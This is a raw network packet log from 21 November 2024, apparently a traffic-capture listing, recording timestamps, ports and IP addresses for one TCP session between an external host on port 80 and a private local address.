Nov 21, 2024 19:59:00.533756018 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.533804893 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.533927917 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.534007072 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.537126064 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.537200928 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.537271023 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.537318945 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.540304899 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.540376902 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.540465117 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.540513992 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.543629885 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.543646097 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.543683052 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.543698072 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.546331882 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.546387911 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.546471119 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.546516895 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.548469067 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.548516989 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.548556089 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.548600912 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.551474094 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.551558971 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.551563025 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.551600933 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.554532051 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.554586887 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.554718971 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.554766893 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.559974909 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.559981108 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.560034990 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.561520100 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.561563015 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.561708927 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.561867952 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.564395905 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.564445972 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.564558983 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.564604044 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.567385912 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.567440987 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.567699909 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.567759037 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.570349932 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.570400000 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.570503950 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.570557117 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.573559046 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.573613882 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.573713064 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.573795080 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.576339960 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.576383114 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.576525927 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.576561928 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.578685999 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.578737974 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.578876972 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.578923941 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.581662893 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.581792116 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.581923962 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.581985950 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.584675074 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.584728956 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.584801912 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.584955931 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.587703943 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.587760925 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.587778091 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.587807894 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.590774059 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.590827942 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.590893030 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.590945959 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.593749046 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.593836069 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.593914032 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.594121933 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.596745968 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.596805096 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.596847057 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.597050905 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.599914074 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.600027084 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.601257086 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.601310015 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.601392984 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.601453066 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.604301929 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.604386091 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.604402065 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.604456902 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.607392073 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.607439995 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.607465982 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.607577085 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.610359907 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.610460043 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.610549927 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.610620022 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.613337994 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.613401890 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.613751888 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.613797903 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.616343975 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.616440058 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.616452932 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.616540909 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.619407892 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.619469881 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.619486094 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.619543076 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.622426033 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.622478962 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.622509956 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.622523069 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.625417948 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.625469923 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.625540018 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.625588894 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.628438950 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.628490925 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.628561974 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.628618002 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.631474972 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.631560087 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.631666899 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.631748915 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.634471893 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.634553909 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.634603024 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.634685993 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.637542009 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.637619019 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.637655973 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.637691021 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.640549898 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.640603065 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.640636921 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.640799999 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.643534899 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.643625975 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.643652916 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.643701077 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.646542072 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.646610975 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.646672964 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.646725893 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.649565935 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.649632931 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.649658918 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.649683952 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.652559042 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.652636051 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.652646065 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.652688026 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.655639887 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.655705929 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.655885935 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.655936956 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.658657074 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.658704042 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.658749104 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.658761978 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.661648035 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.661698103 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.661706924 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.661732912 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.664649963 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.664702892 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.664741039 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.664782047 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.667685032 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.667740107 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.667778015 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.667831898 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.670675993 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.670804977 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.670860052 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.671030045 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.673722982 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.673775911 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.673863888 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.673928976 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.676764965 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.676836014 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.676872015 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.676953077 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.679735899 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.679790020 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.679790974 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.679843903 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.682771921 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.682826996 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.682887077 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.682930946 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.685786009 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.685839891 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.685954094 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.686006069 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.688790083 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.688909054 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.688965082 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.691834927 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.691891909 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.691926003 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.691981077 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.694844961 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.694900036 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.694932938 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.694986105 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.697845936 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.697901964 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.697982073 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.698055029 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.700902939 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.700978994 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.701009035 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.701059103 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.703953028 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.704117060 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.704236031 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.704288006 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.706899881 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.706968069 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.707043886 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.707093954 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.709932089 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.710020065 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.710061073 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.710098982 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.712944984 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.713010073 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.713078022 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.713131905 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.715962887 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.716078043 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.716099024 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.716188908 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.719001055 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.719054937 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.719089031 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.719173908 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.721849918 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.721960068 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.722043037 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.722052097 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.724786043 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.724843979 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.724956036 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.725069046 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.727411985 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.727427006 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.727484941 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.730165005 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.730221033 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.730256081 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.730395079 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.732836962 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.732893944 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.732995987 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.733108044 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.735415936 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.735471010 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.735503912 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.735551119 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.737936020 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.737983942 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.737997055 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.738065004 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.740484953 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.740542889 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.740632057 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.740683079 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.742022991 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.742086887 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.742161989 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.742223024 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.743467093 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.743603945 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.743659019 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.745095968 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.745182037 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.745256901 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.745315075 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.746551037 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.746612072 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.746768951 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.746865988 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.748090029 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.748157024 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.748231888 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.748346090 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.749602079 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.749661922 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.749866962 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.749921083 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.751069069 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.751126051 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.751194000 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.751241922 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.752609015 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.752705097 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.752738953 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.752749920 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.754267931 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.754275084 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.754324913 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.755708933 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.755724907 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.755786896 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.757174015 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.757270098 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.757287979 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.757332087 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.758622885 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.758723974 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.758770943 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.758816957 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.760078907 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.760160923 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.760166883 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.760265112 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.761509895 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.761605024 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.761651993 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.762939930 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.763011932 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.763067961 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.764642954 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.764651060 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.764720917 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.765944958 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.766010046 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.766035080 CET	80	49831	185.215.113.16	192.168.2.8
